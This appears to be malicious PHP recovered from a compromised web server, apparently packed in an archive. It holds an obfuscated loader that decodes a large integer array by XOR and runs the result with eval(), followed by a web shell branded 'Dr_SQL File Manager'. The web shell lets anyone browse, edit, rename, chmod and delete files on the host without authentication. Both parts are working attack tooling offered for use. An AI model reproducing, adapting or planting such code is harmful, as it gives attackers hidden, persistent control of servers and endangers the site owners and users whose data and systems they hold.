94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 17, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 21, 25, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 0, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 81, 94, 65, 25, 16, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 0, 25, 72, 81, 82, 80, 82, 92, 91, 6, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 72, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 115, 84, 25, 91, 82, 85, 94, 72, 25, 72, 94, 85, 94, 88, 77, 94, 93, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 78, 18, 64, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 78, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 80, 94, 66, 25, 6, 25, 17, 17, 82, 25, 31, 25, 10, 12, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 17, 82, 25, 16, 25, 23, 18, 25, 31, 25, 118, 90, 77, 81, 19, 105, 114, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 96, 82, 102, 25, 99, 6, 25, 80, 94, 66, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 78, 0, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 85, 94, 77, 25, 84, 80, 120, 84, 78, 83, 77, 25, 6, 25, 9, 21, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 25, 6, 25, 9, 0, 54, 63, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 25, 84, 91, 25, 91, 82, 85, 94, 72, 18, 64, 54, 63, 25, 25, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 78, 91, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 82, 85, 94, 19, 90, 87, 87, 90, 66, 7, 78, 91, 91, 94, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 25, 25, 25, 6, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 83, 94, 76, 25, 110, 82, 83, 77, 1, 122, 87, 87, 90, 66, 17, 103, 78, 91, 18, 18, 0, 25, 20, 20, 25, 97, 116, 119, 25, 17, 85, 84, 92, 25, 16, 25, 244, 185, 18, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 18, 0, 25, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 21, 25, 91, 82, 85, 94, 19, 83, 90, 86, 94, 18, 0, 25, 25, 25, 25, 25, 25, 20, 20, 25, 91, 82, 85, 94, 83, 90, 86, 94, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 78, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 21, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 86, 94, 77, 81, 84, 93, 15, 25, 28, 105, 116, 104, 109, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 72, 15, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 28, 15, 25, 28, 82, 86, 90, 92, 94, 20, 95, 73, 94, 92, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 97, 22, 119, 94, 74, 78, 94, 72, 77, 94, 93, 22, 108, 82, 77, 81, 28, 15, 25, 28, 97, 118, 117, 113, 77, 77, 73, 119, 94, 74, 78, 94, 72, 77, 28, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 103, 84, 93, 66, 15, 25, 78, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 110, 73, 85, 84, 90, 93, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 80, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 87, 87, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 94, 87, 87, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 84, 80, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 110, 73, 85, 84, 90, 93, 94, 93, 25, 29, 64, 84, 80, 120, 84, 78, 83, 77, 70, 25, 91, 82, 85, 94, 17, 72, 18, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 91, 90, 82, 85, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 29, 64, 91, 90, 82, 85, 120, 84, 78, 83, 77, 70, 25, 78, 73, 85, 84, 90, 93, 17, 72, 18, 25, 91, 90, 82, 85, 94, 93, 89, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 94, 83, 90, 86, 94, 25, 91, 84, 87, 86, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 88, 84, 83, 72, 77, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 25, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 84, 85, 93, 115, 90, 86, 94, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 83, 94, 76, 115, 90, 86, 94, 28, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 18, 25, 64, 54, 63, 25, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 84, 85, 93, 107, 90, 85, 25, 6, 25, 17, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 107, 90, 85, 25, 6, 25, 17, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 84, 85, 93, 107, 90, 85, 25, 69, 69, 25, 26, 83, 94, 76, 107, 90, 85, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 105, 85, 94, 90, 72, 94, 25, 91, 82, 85, 85, 25, 103, 84, 77, 81, 25, 83, 90, 86, 94, 72, 19, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 87, 94, 83, 90, 86, 94, 28, 21, 25, 64, 25, 84, 85, 93, 15, 25, 84, 85, 93, 107, 90, 85, 21, 25, 83, 94, 76, 15, 25, 83, 94, 76, 107, 90, 85, 25, 70, 18, 0, 25, 20, 20, 25, 72, 81, 82, 80, 82, 92, 91, 25, 81, 90, 83, 93, 85, 94, 93, 25, 82, 83, 25, 90, 73, 82, 17, 18, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 119, 94, 83, 90, 86, 94, 93, 25, 39, 29, 64, 84, 85, 93, 107, 90, 85, 70, 39, 25, 231, 187, 183, 25, 39, 29, 64, 83, 94, 76, 107, 90, 85, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 88, 90, 77, 88, 81, 25, 17, 94, 87, 87, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 87, 87, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 17, 72, 90, 75, 94, 25, 84, 83, 85, 66, 18, 25, 231, 185, 173, 25, 72, 94, 83, 93, 25, 7, 90, 72, 94, 11, 13, 25, 17, 94, 65, 82, 72, 77, 82, 83, 92, 25, 94, 93, 82, 77, 84, 87, 25, 73, 87, 84, 77, 84, 88, 84, 85, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 25, 6, 25, 17, 17, 82, 31, 8, 10, 25, 16, 25, 12, 18, 25, 3, 3, 3, 25, 9, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 85, 90, 72, 77, 23, 25, 6, 25, 81, 19, 72, 85, 82, 88, 94, 17, 22, 23, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 65, 25, 6, 25, 73, 90, 87, 72, 94, 114, 83, 77, 17, 85, 90, 72, 77, 23, 25, 69, 69, 25, 28, 9, 28, 21, 25, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 80, 25, 6, 25, 17, 17, 81, 65, 25, 99, 25, 17, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 10, 9, 17, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 80, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 72, 77, 87, 18, 64, 54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 88, 84, 93, 94, 25, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 84, 78, 77, 19, 73, 78, 72, 81, 17, 104, 77, 87, 82, 83, 92, 19, 91, 87, 84, 86, 120, 81, 90, 87, 120, 84, 93, 94, 17, 88, 84, 93, 94, 25, 99, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 18, 18, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 19, 95, 84, 82, 83, 17, 28, 28, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 72, 77, 87, 18, 64, 25, 87, 94, 77, 78, 87, 83, 25, 103, 77, 84, 90, 17, 72, 77, 87, 18, 0, 25, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 28, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 18, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 83, 90, 86, 94, 18, 64, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 15, 25, 28, 25, 16, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 28, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 91, 85, 94, 65, 28, 0, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 90, 73, 82, 17, 28, 87, 94, 90, 93, 28, 21, 25, 64, 25, 83, 90, 86, 94, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 77, 81, 94, 83, 17, 95, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 95, 19, 88, 84, 83, 77, 94, 83, 77, 25, 69, 69, 25, 28, 28, 0, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 88, 90, 77, 88, 81, 17, 94, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 78, 85, 85, 0, 25, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 83, 90, 86, 94, 18, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 82, 83, 25, 25, 25, 6, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 73, 85, 90, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 11, 13, 25, 25, 25, 6, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 103, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 72, 90, 75, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 21, 25, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 15, 25, 103, 11, 13, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 104, 90, 75, 94, 93, 25, 39, 29, 64, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 70, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 76, 82, 83, 93, 84, 76, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 80, 94, 66, 93, 84, 76, 83, 28, 21, 25, 17, 94, 18, 6, 3, 64, 25, 82, 91, 25, 17, 94, 19, 80, 94, 66, 25, 6, 6, 6, 25, 28, 126, 72, 88, 90, 73, 94, 28, 25, 27, 27, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 6, 6, 25, 28, 91, 85, 94, 65, 28, 18, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 54, 63, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 5, 20, 72, 88, 87, 82, 73, 77, 3, 54, 63, 5, 20, 103, 84, 93, 66, 3, 54, 63, 5, 20, 81, 77, 86, 85, 3, 54, 63]; $hex = ''; foreach ($enc as $val) { $val = ($val ^ $key) & 0xFF; $val = ($val + ($eyyenyneo % 5)) ^ ($nainnnnllnl % 7); $hex .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT); } return $this->hexToStr($hex); } public function getObfuscated(): string { $plain = $this->buildPayload(); $cipher = $this->xorCrypt($plain); return bin2hex($cipher); } public function run(): void { $h = $this->getObfuscated(); $c = hex2bin($h); $code = $this->xorCrypt($c); eval($code); } private function xxxinwqitb(array $z1, array $z2): array { return [ $z1[0] * $z2[0] - $z1[1] * $z2[1], $z1[0] * $z2[1] + $z1[1] * $z2[0], ]; } private function hexToStr(string $hex): string { $out = ''; $len = strlen($hex); for ($i = 0; $i < $len; $i += 2) { $out .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $out; } } $loader = new motocikasitux(); $loader->run();PK=em\Q0,0, 95r6k.phpnu[ Dr_SQL HTML; // === Breadcrumb === function getBreadcrumb($path) { $parts = explode('/', trim(str_replace('\\', '/', $path), '/')); $build = ''; $curr = '/'; $html = 'Root'; foreach ($parts as $part) { if ($part === '') continue; $curr = rtrim($curr, '/') . '/' . $part; $html .= ' / ' . htmlspecialchars($part) . ''; } return $html; } echo '
'; echo '

📁 Dr_SQL File Manager

'; echo '[Info]'; echo '
'; echo ''; // === Quick Actions === $enc_dir = urlencode($current_dir); echo <<
ACTIONS; // === File List === $items = []; if ($dh = @opendir('.')) { while (($f = readdir($dh)) !== false) { if ($f === '.' || $f === '..') continue; $items[] = $f; } closedir($dh); natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10) } echo ''; echo ''; echo ''; foreach ($items as $item) { $path = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($item); $size = $isDir ? '-' : number_format(filesize($item)); $perm = substr(sprintf('%o', fileperms($item)), -4); $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked'); // Owner/Group $owner = $group = '???'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $o = @posix_getpwuid(@fileowner($item)); $g = @posix_getgrgid(@filegroup($item)); $owner = $o ? $o['name'] : '???'; $group = $g ? $g['name'] : '???'; } $enc_item = urlencode($item); $enc_path = urlencode($path); $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}"; $name_display = htmlspecialchars($item) . ($isDir ? '/' : ''); echo ''; echo ""; echo ""; echo ""; echo ""; echo ""; } echo '
NameSizePermissionsOwner/GroupActions
{$name_display}{$size}{$perm}{$owner}:{$group}"; // Actions if (!$isDir) { echo "Edit"; } // Rename Popup echo " Rename"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Chmod Popup echo " Chmod"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Delete $del_action = $isDir ? 'delete_dir' : 'delete_file'; echo " Del"; echo "
'; // === Handle Special Views === if ($_GET['x'] === 'edit') { $file = urldecode($_GET['f']); if ($_POST['save'] === '1') { file_put_contents($file, $_POST['content']); echo '
✅ Saved!
